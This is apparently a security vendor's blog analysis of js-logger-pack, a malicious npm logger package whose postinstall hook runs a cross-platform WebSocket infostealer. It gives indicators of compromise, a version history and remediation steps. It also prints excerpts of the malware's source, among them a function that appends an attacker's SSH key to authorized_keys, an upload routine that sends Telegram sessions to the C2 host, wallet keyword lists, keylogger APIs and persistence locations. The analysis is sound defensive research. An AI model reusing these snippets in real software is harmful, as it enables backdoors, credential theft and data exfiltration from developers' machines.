Malicious npm Package js-logger-pack Ships a Multi-Platform WebSocket Stealer

SafeDep Team
15 min read

Table of Contents

TL;DR

js-logger-pack is a fake npm logger that the attacker developed openly on the registry over 23 versions across two weeks (2026-04-01 to 2026-04-15). Version 1.1.20, published hours after initial detection, is a re-obfuscation of the same payload: new hash, same C2, same capabilities. Early versions were harmless probes; version 1.1.5 introduced the first weaponized payload with unobfuscated TypeScript source that accidentally leaked the attacker’s SSH RSA public key (bink@DESKTOP-N8JGD6T) and their original C2 domain (api-sub.jrodacooker[.]dev). Subsequent versions replaced the readable source with a 885 KB custom base64 bytecode VM and swapped the domain for a raw Hetzner IP. The payload is a long-running WebSocket agent that: installs the attacker’s RSA key into ~/.ssh/authorized_keys on Linux; exfiltrates Telegram Desktop tdata sessions; drains credentials from 27 crypto wallets and Chromium-family browsers; steals .npmrc, cloud provider tokens, and shell history; and runs a native keylogger on Windows, macOS, and Linux with autostart persistence on all three.

Impact:

  • SSH backdoor on Linux: attacker’s RSA public key written to ~/.ssh/authorized_keys, granting permanent shell access.
  • Full Telegram Desktop account takeover via tdata folder exfiltration compressed and uploaded to attacker-controlled Cloudflare R2 storage.
  • Crypto wallet drain: 27 wallet apps and browser extensions enumerated by name (phantom, metamask, rabby, keplr, solflare, backpack, coinbase, trust, exodus, tronlink, okx, zerion, rainbow, unisat, petra, ronin, nami, ledger, trezor, electrum, atomic, braavos, argent, leap, hashpack, sui, xdefi).
  • Developer credential theft: .npmrc _authToken, github_token, npm_token, AWS sigv4 keys, plus OPENAI, ANTHROPIC, and other env-var tokens exfiltrated from the project’s .env file at install time.
  • Filesystem scan for wallet-named JSON files, .env files, and keyword-matched Office documents sent to C2.
  • Live keylogger on all three OSes streamed via WebSocket.
  • Persistence across reboots: Windows Scheduled Tasks, macOS LaunchAgents plist, Linux systemd user unit and XDG autostart.

Indicators of Compromise (IoC):

IndicatorValue
Packagejs-logger-pack (npm)
Malicious versions0.0.1 through 1.1.20 (23 releases, 2026-04-01 to 2026-04-15)
Total downloads3,726 (April 1-13, 2026; zero prior to campaign)
Maintainerjpeek868 <[email protected]> (single package on account)
Declared authortoskypi (mismatches publishing account)
C2 domain (v1.1.5-1.1.6)hxxps://api-sub.jrodacooker[.]dev
C2 IP (v1.1.7+)195[.]201[.]194[.]107:8010 (ws:// and http://), Hetzner Online GmbH, DE, AS24940
C2 status (2026-04-15)LIVE: /health responds {"ok":true}, panel accepting connections
Secondary hostname on C2 IPcopilot-ai.whisdev[.]org (Shodan, DNS now NXDOMAIN; suggests additional operations)
C2 backendExpress.js (X-Powered-By: Express); victim data keyed as user_{username}_{operatingSystem} (leaked in /api/validate/system-info response body)
DNS resolutionapi-sub.jrodacooker[.]dev195[.]201[.]194[.]107 (subdomain DNS since removed)
Attacker SSH public keyssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQ... bink@DESKTOP-N8JGD6T (full key in v1.1.5 logger.ts)
Attacker hostnamebink@DESKTOP-N8JGD6T (Windows hostname embedded in SSH key comment)
Exfil paths/api/validate/files, /api/validate/project-env, /api/validate/env-vars, /api/validate/ps-history, /api/validate/wallets, /api/validate/system-info, /api/validate/tdata/upload, /api/validate/r2-upload-complete, /api/validate/keyboard-events
SSH authorized_keys target~/.ssh/authorized_keys (Linux, created with mode 0600 if missing)
SHA-256 (js-logger-pack-1.1.19.tgz)571533a643e67c38087f4da8cce0d3dc14670a52403717e4943433d392860a7f
SHA-256 (print.js v1.1.19)585c5ab1fea06bed4956e34ffd6d6b576122addd34d252b163ae0801098e9eaf
SHA-256 (js-logger-pack-1.1.20.tgz)9f0a7174f9537bdbf63fe2329cea9a14198076180390af9f43a0e5b5c7c46912
SHA-256 (print.js v1.1.20)e35801137cd09fa02aa996145d18ec68d67d71db9810f2608a6285ee1c08b054

Analysis

Package Overview and Origin

js-logger-pack presents a convincing cover. The README describes a zero-dependency console logger with ISO timestamps and emoji level icons. The published index.ts is a real, working Logger class and dist/index.js is its transpiled output. Nothing in the TypeScript source touches the network or the filesystem: the logger exists as bait for reviewers and automated scanners.

One detail dates the operation: the 0.0.1 README references import { logger } from 'pretty-changelog-logger', the original name the author had for this utility before registering the js-logger-pack slug. That copy-paste residue is the only link to what the package was before the attacker weaponized it.

The repository and homepage fields in package.json are both null. The declared author field reads toskypi, but the npm registry lists the publishing maintainer as jpeek868 <[email protected]>. Searching npm for other packages by either name returns nothing; this is a purpose-built throwaway account. All 22 versions share the same gitHead hash (b0a0c8779961bcce1851d35125a7b48fc6ec7d5c) — every publish came from the same local git clone. No GitHub account exists for jpeek868 or toskypi. The package accumulated 3,726 downloads between April 1 and 13, with spikes on each day a new malicious version was released.

Version Evolution: From Probe to Weapon

The registry timestamps show iterative development conducted live on npm:

VersionDate (UTC)SizepostinstallNotable change
0.0.12026-04-01 06:171.6 KBts-node index.js (errors harmlessly)Initial probe; README references old package name
1.0.02026-04-01 06:291.6 KBts-node index.jsNo change
1.1.02026-04-01 07:0129 KBts-node index.tsCompiled dist/index.js added
1.1.22026-04-01 07:0529 KBts-node dist/index.jspostinstall target adjusted
1.1.42026-04-02 11:3229 KBts-node dist/index.jsC2 deps added: ws, zod, pino, esbuild; postinstall still harmless
1.1.52026-04-02 15:53601 KBnode print.jsFirst weaponized build. print.js (601 KB) and unobfuscated logger.ts (19 KB, full source) appear
1.1.62026-04-02 17:51730 KBnode print.jsprint.js grows 21%; logger.ts still included (source still leaked)
1.1.72026-04-02 17:59756 KBnode print.jslogger.ts removed; full obfuscation in print.js
1.1.82026-04-07 00:06742 KBnode print.jsMinor size change
1.1.92026-04-07 07:22769 KBnode print.jslogger.ts reappears (identical 19 KB file); build pipeline inconsistency
1.1.102026-04-07 09:04808 KBnode print.jslogger.ts permanently removed; payload growing
1.1.142026-04-08 06:59786 KBnode print.jsC2 domain replaced with raw IP in VM
1.1.172026-04-13 20:44831 KBnode print.jsFinal feature additions
1.1.192026-04-14 19:27893 KBnode print.jsLast feature version
1.1.202026-04-15 03:09865 KBnode print.jsRe-obfuscation only: identical C2, endpoints, and capabilities; new hash only

The print.js payload grew from 601 KB to 893 KB over 12 days of active feature development. Version 1.1.20, published hours after this package was first flagged, is a re-obfuscation of v1.1.19: every URL, API path, wallet name, and OS-native code string is identical; only the internal random identifiers (variable names generated by the obfuscator) differ. The resulting file has a different SHA-256 but is the same payload. This is a signature-evasion pattern: re-run the bundler with a new random seed to defeat hash-based detections without changing any functionality. The logger.ts source file flickered in and out of the package across three versions, which is consistent with the author forgetting to exclude it from their build manifest and later correcting the mistake.

Execution Triggers

In later versions (v1.1.7+), the only trigger is the postinstall hook:

// package/package.json (v1.1.19)
"scripts": {
"build": "tsc",
"prepublishOnly": "npm run build",
"start": "ts-node index.ts",
"postinstall": "node print.js"
}

print.js is a standalone esbuild bundle (the esbuild dep in package.json confirms this): it packages the malicious source together with its C2 dependencies (ws, zod, etc.) into a single 885 KB self-contained file that node can run without any additional installs. The bundle fires once at install time.

In v1.1.5 and v1.1.6, however, the package carried a second, independent trigger. dist/index.js (the file users require()) begins with:

// package/dist/index.js (v1.1.5)
require('./logger');

And index.ts mirrors this:

// package/index.ts (v1.1.5)
import './logger';

logger.ts runs its malicious code as module-level side effects (the _ssi, _spe, and _sejf calls at the bottom of the file execute immediately when the module is loaded). This means that in v1.1.5 and v1.1.6 any application that did require('js-logger-pack') or import 'js-logger-pack' triggered the stealer at runtime, not only at install time. The attacker removed logger.ts and this second vector from v1.1.7 onward, consolidating on the postinstall hook.

The Unobfuscated Source Leak (v1.1.5 and v1.1.6)

Versions 1.1.5 and v1.1.6 shipped logger.ts alongside print.js. The two files implement the same malicious capabilities: logger.ts is the readable TypeScript source; print.js is the esbuild-bundled, obfuscated standalone executable built from the same (or very similar) source project and its dependencies. The 534-line logger.ts gives a complete, readable description of every capability the larger print.js bundle conceals.

The file opens with two constants that are the most important attribution artifacts in the entire campaign:

// package/logger.ts (v1.1.5)
const _pk = `ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDoWL6cdPRGfsMFi1ggFUOP+IhhypmrzNe555fK
LTvdI09y+cvUjrtpPfe5TkChr/IbIQIZeGefpAtcqiw6BDfJ+d+gflMEu6uGbCecikAtf794ap
EkDFpyzYpqrPmHBFhLdBtbXMx3bNfexKR8wnJAYTe5of+TvZ97h9QY8d9zHP31KddDnw3MaXYV
Ziwr0xBsUEk2jti5C4MsN/uUtUxrmcO5jfoThj/GLDOppQg7IK5QiHvOr89nTO9tFqADLT7gAn
... bink@DESKTOP-N8JGD6T
`;
const _srv = 'https://api-sub.jrodacooker.dev';
const _tmax = 500 * 1024 * 1024;

_pk is the attacker’s RSA public key. The comment field bink@DESKTOP-N8JGD6T is the username and hostname of the machine the attacker used to generate the key. _srv is the C2 server at the time of first deployment. A DNS lookup today confirms that api-sub.jrodacooker[.]dev resolves to 195.201.194.107, the same Hetzner IP embedded in the later obfuscated versions. The attacker switched from domain to raw IP somewhere around v1.1.7, likely after the domain was flagged or to reduce external DNS dependencies.

SSH Backdoor (Linux)

The first capability that executes on Linux machines is an SSH backdoor, called before any file scanning or credential exfil:

// package/logger.ts (v1.1.5)
export const _ark = async (_key: string): Promise<boolean> => {
try {
const _hd = os.homedir();
const _sd = path.join(_hd, '.ssh');
const _akp = path.join(_sd, 'authorized_keys');
if (!fs.existsSync(_sd)) {
fs.mkdirSync(_sd, { recursive: true });
}
fs.chmodSync(_sd, 0o700);
let _ek = '';
if (fs.existsSync(_akp)) {
_ek = fs.readFileSync(_akp, 'utf8');
}
const _kp = _key.trim().split(' ');
const _kd = _kp.length >= 2 ? _kp[0] + ' ' + _kp[1] : _key.trim();
if (_ek.includes(_kd)) {
return false; // already installed
}
const _nc = _ek ? (_ek.endsWith('\n') ? _ek : _ek + '\n') + _key.trim() + '\n' : _key.trim() + '\n';
fs.writeFileSync(_akp, _nc, 'utf8');
fs.chmodSync(_akp, 0o600);
return true;
} catch (_) {
return false;
}
};

The function is called as _ark(_pk) from the Linux branch of the main file-scanning entry point (_sejf), before the network exfil begins. It creates ~/.ssh/ with mode 0700 if it does not exist, checks whether the key is already present, and appends it with the correct 0600 permissions. The attacker can then SSH into any Linux machine that installed any version of this package, as long as the SSH daemon is running and ~/.ssh/authorized_keys is the configured auth method.

This capability was present from the first weaponized build (v1.1.5) and persists in the obfuscated payload, confirmed by registerLinuxSystemd and persistence strings in later versions.

File System Scanner

The plaintext source also reveals a careful filesystem scanner (_sfr) that walks the home directory (Linux), C:\ through J:\ (Windows), or /Users/ (macOS) up to 10 levels deep, collecting three types of files:

// package/logger.ts (v1.1.5) — target classification
if (_fn === '.env' || _fn.endsWith('.env')) {
_res.push({ path: _fp, type: 'env' });
} else if (_fn.endsWith('.json') && _iwkj(_fn)) {
_res.push({ path: _fp, type: 'json' });
} else if (_iwrd(_fn)) {
_res.push({ path: _fp, type: 'doc' });
}

The JSON filter (_iwkj) has an allow-list of 40+ common config filenames (package.json, tsconfig.json, vercel.json, etc.) that are excluded, and a keyword list that includes any JSON whose filename contains: key, wallet, password, credential, sol, eth, tron, bitcoin, btc, metamask, phantom, keystore, privatekey, mnemonic, seed, trezor, ledger, token, recovery, and others. JSON files with more than 100 lines are skipped entirely; qualifying files are read in full and sent to /api/validate/files. Office documents (.doc, .docx, .xls, .xlsx, .txt) are included if their filename matches the same keyword list, sent as base64.

Excluded directories include node_modules, build, dist, coverage, and several others, limiting the scan to source trees and user directories. The scanner skips symlinks.

The Bytecode VM (v1.1.7+)

From v1.1.7 onward, the entire payload moved into print.js, a custom base64 bytecode VM. The file opens with 28 repeated node:* imports aliased to random vm* identifiers, followed by thousands of base64-encoded instruction blobs:

// package/print.js (header, v1.1.19)
import{createRequire as vmB}from'module'
import vmD from'node:os'
import{spawn}from'child_process'
import{execFileSync}from'node:child_process'
import{spawn as vmq,spawnSync}from'node:child_process'
// ...
const vmE_603276=(function(){let m=[
'AQEIAQAEAAQIDnJlcXVpcmUIEnVuZGVmaW5lZBYEAAAEAQAABAAABAAEAQAApgPcAQBWaKYDZBAQ...',
'AQAIAQACAAwIDnJlcXVpcmUIEnVuZGVmaW5lZAgKUHJveHkEAAgGZ2V0BAIupgPcAQBWaKYDZOAB...',
// thousands more blobs

Each blob is a base64-encoded instruction stream for a hand-rolled stack machine defined below the constant array. The opcodes embed string literals (property names, identifiers, API paths) that are invisible to a plain grep of the source. Decoding the constant pool statically, without executing the file, recovers all the semantic strings used in the analysis below.

C2 Protocol

The agent is a persistent WebSocket client. Decoded strings show the full protocol:

ws://195.201.194.107:8010 (primary)
http://195.201.194.107:8010 (bulk exfil fallback)
AgentHelloSchema / AgentHeartbeatSchema
Controller acknowledged hello / hello_ack
HEARTBEAT_MS / heartbeatTimer / scheduleReconnect

The implant connects to 195[.]201[.]194[.]107:8010, sends a Zod-validated AgentHello, waits for hello_ack, then maintains a heartbeat. The controller dispatches tasks (keylogging, wallet scan, tdata upload, file scan) over the WebSocket channel. Bulk data goes over HTTP on the same host via the /api/validate/* endpoints rather than the WebSocket frame size limit.

Telegram Session Hijacking

The _stia / sendTdataIfAvailable function chain runs on macOS and Windows only (the function returns immediately on Linux). It locates the Telegram Desktop tdata folder, archives it into a gzip stream with a custom header format (4-byte path length, path bytes, 4-byte content length, content bytes), and uploads it:

// package/logger.ts (v1.1.5)
export const _stp = async (_gz: string, _os: string, _ip: string, _un: string): Promise<void> => {
const _b = await fs.promises.readFile(_gz);
const _r = await fetch(`${_srv}/api/validate/tdata/upload`, {
method: 'POST',
headers: {
'Content-Type': 'application/gzip',
'X-Client-OS': _os,
'X-Client-IP': _ip,
'X-Client-User': _un,
},
body: _b,
});
if (!_r.ok) throw new Error(`tdata upload failed: ${_r.status}`);
};

A pre-check (/api/validate/tdata/check) prevents re-upload if the server already has a session for this IP+username pair. The 500 MB cap (_tmax) prevents stalling on very large Telegram caches. Later obfuscated versions add an S3-compatible multipart path (/api/validate/r2-upload-complete) referencing Cloudflare R2, routing bulk loot outside the WebSocket channel.

Wallet and Browser Credential Theft

The implant carries an explicit wallet target list embedded in both the Windows and macOS native keylogger components. On Windows it appears as a C# static array inside a PowerShell Add-Type block (class KP); on macOS it appears as a Swift let constant:

// Decoded from print.js bytecode — Windows C# block (PowerShell Add-Type, class KP)
private static readonly string[] _wk = {
"phantom","metamask","rabby","keplr","solflare","backpack",
"coinbase wallet","trust wallet","exodus","tronlink","okx wallet",
"zerion","rainbow","unisat","petra","ronin","nami","ledger","trezor",
"electrum","atomic","braavos","argent","leap wallet","hashpack",
"sui wallet","xdefi"
};
// Decoded from print.js bytecode — macOS Swift block
let walletKeywords = ["phantom","metamask","rabby","keplr","solflare","backpack",
"coinbase wallet","trust wallet","exodus","tronlink","okx wallet","zerion",
"rainbow","unisat","petra","ronin","nami","ledger","trezor","electrum",
"atomic","braavos","argent","leap wallet","hashpack","sui wallet","xdefi"]

On Windows, active-window title inspection uses GetForegroundWindow() + GetWindowText() to match the foreground window title against _wk; GetAsyncKeyState is the polling mechanism for keystroke capture, not the window detection. On macOS the Swift code uses the Accessibility API (kAXTitleAttribute via AXUIElement) to read the active window title and kAXSubroleAttribute to detect AXSecureTextField (password input); CGEventTap captures the keystrokes. When a wallet window or password field is detected on either platform, the implant enables targeted keylogging of password and seed-phrase prompts. Browser credential targets include Chrome, Chromium, Brave, Edge, Opera, and Opera GX (Login Data, Cookies, Local State).

Cross-Platform Keylogger

Keystroke capture uses OS-native APIs on each platform:

Windows: SetWindowsHookEx(13, …) // WH_KEYBOARD_LL low-level hook (class KH)
GetAsyncKeyState(vk) // polling fallback if hook is blocked (class KP)
macOS: CGEventTap (keyDown callback) // Swift, compiled and run via swiftc subprocess
Linux: /dev/input/event* via evdev // direct device read, no X11 dependency

Both Windows variants are PowerShell Add-Type blocks: the Node.js harness writes the C# source string to PowerShell’s stdin, which compiles and executes it in-process using the .NET runtime already present on the machine. This avoids dropping a compiled binary to disk. Events stream to /api/validate/keyboard-events over the WebSocket connection. The Windows polling fallback handles environments where EDR software blocks WH_KEYBOARD_LL. The Linux evdev reader reads raw kernel input events directly from /dev/input/event*, bypassing X11 and Wayland entirely so it captures keystrokes in terminal-only sessions.

Persistence

All three OSes get autostart entries so the agent survives reboots:

Windows: schtasks.exe /Create …
macOS: ~/Library/LaunchAgents/<name>.plist
Linux: ~/.config/systemd/user/<name>.service (Environment=HEARTBEAT_MS=…)
~/.config/autostart/<name>.desktop (X-GNOME-Autostart-enabled=true)

The HEARTBEAT_MS environment variable is baked into the systemd unit, so the re-launched agent picks up the same polling interval as the original postinstall process. The XDG autostart entry covers desktop sessions that do not use systemd user units (e.g., some XFCE and LXDE setups).

Attribution

The leaked source, live C2 probe, and infrastructure signals provide the following attribution picture:

  • Attacker hostname: bink@DESKTOP-N8JGD6T. The DESKTOP-N8JGD6T suffix is the default format Windows assigns to self-built machines. The bink username is the operating handle used on the development machine. No prior threat intelligence ties this hostname to any known actor.
  • C2 domain: api-sub.jrodacooker[.]dev. The parent domain returns NXDOMAIN; the subdomain DNS record has since been removed, but the Hetzner IP (195[.]201[.]194[.]107) remains active. jrodacooker[.]dev appears purpose-registered for this operation with no prior public presence.
  • C2 still live: As of April 15 2026 (this article’s publication date), the panel at 195[.]201[.]194[.]107:8010 is operational. A probe to /api/validate/system-info returned {"success":true,"collection":"user_researcher_linux"}, confirming victim data is keyed as user_{username}_{operatingSystem} and has not been cleaned up. The response header X-Powered-By: Express identifies the backend as Node.js/Express.
  • Secondary hostname: Shodan lists copilot-ai.whisdev[.]org as a hostname on the same IP. The subdomain DNS record is now NXDOMAIN. This suggests the server may be (or have been) used for an additional operation beyond js-logger-pack, but we found no confirmed link to the jpeek868 or bink identity.
  • Infrastructure: Single Hetzner server (Hetzner Online GmbH, DE, AS24940) running a custom WebSocket controller on :8010 and Cloudflare R2 for bulk storage. This is purpose-built tooling for a small-scale individual operator, not shared SaaS C2 infrastructure.
  • Operational security failures: Shipping unobfuscated source in two consecutive public npm releases, reintroducing it in v1.1.9 after removing it in v1.1.7, and hardcoding the development machine’s SSH key into the payload point to a solo operator working fast, not a disciplined team.
  • Payload fingerprint: The multi-language payload (Node.js harness, C# compiled at runtime via PowerShell Add-Type for Windows hooks, Swift source compiled on the fly via swiftc for macOS event taps, Linux evdev via direct /dev/input reads) and the 27-wallet target list match patterns seen in commodity stealer kits. Avoiding pre-compiled binaries in favor of just-in-time compilation reduces disk footprint and evades signature-based AV scanning at install time. Without controlled telemetry, we do not attribute to a named family.

Conclusion

js-logger-pack is a full-featured, multi-platform infostealer developed and deployed live on npm over two weeks. It reached 3,726 downloads before being flagged. The C2 at 195[.]201[.]194[.]107:8010 is still online as of April 15 2026. The attacker has not dismantled infrastructure; exfiltrated data remains accessible to them. Anyone who installed any version from 0.0.1 through 1.1.19 on a Linux machine should assume the attacker’s RSA key was written to ~/.ssh/authorized_keys and that the machine has been accessible remotely ever since. On all platforms: rotate npm, GitHub, and cloud provider tokens; audit Telegram active sessions (Settings → Devices → terminate all others); move crypto funds off any wallet whose credentials touched that machine; check for and remove the OS-appropriate autostart entry; reimage if the machine handled sensitive credentials.

The SafeDep community analysis flagged this package as malicious. Scanning install-time scripts with vet or equivalent before running npm install in CI would have blocked the payload before it fired.

  • vet
  • malware
  • npm
  • supply-chain
  • stealer
  • crypto

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.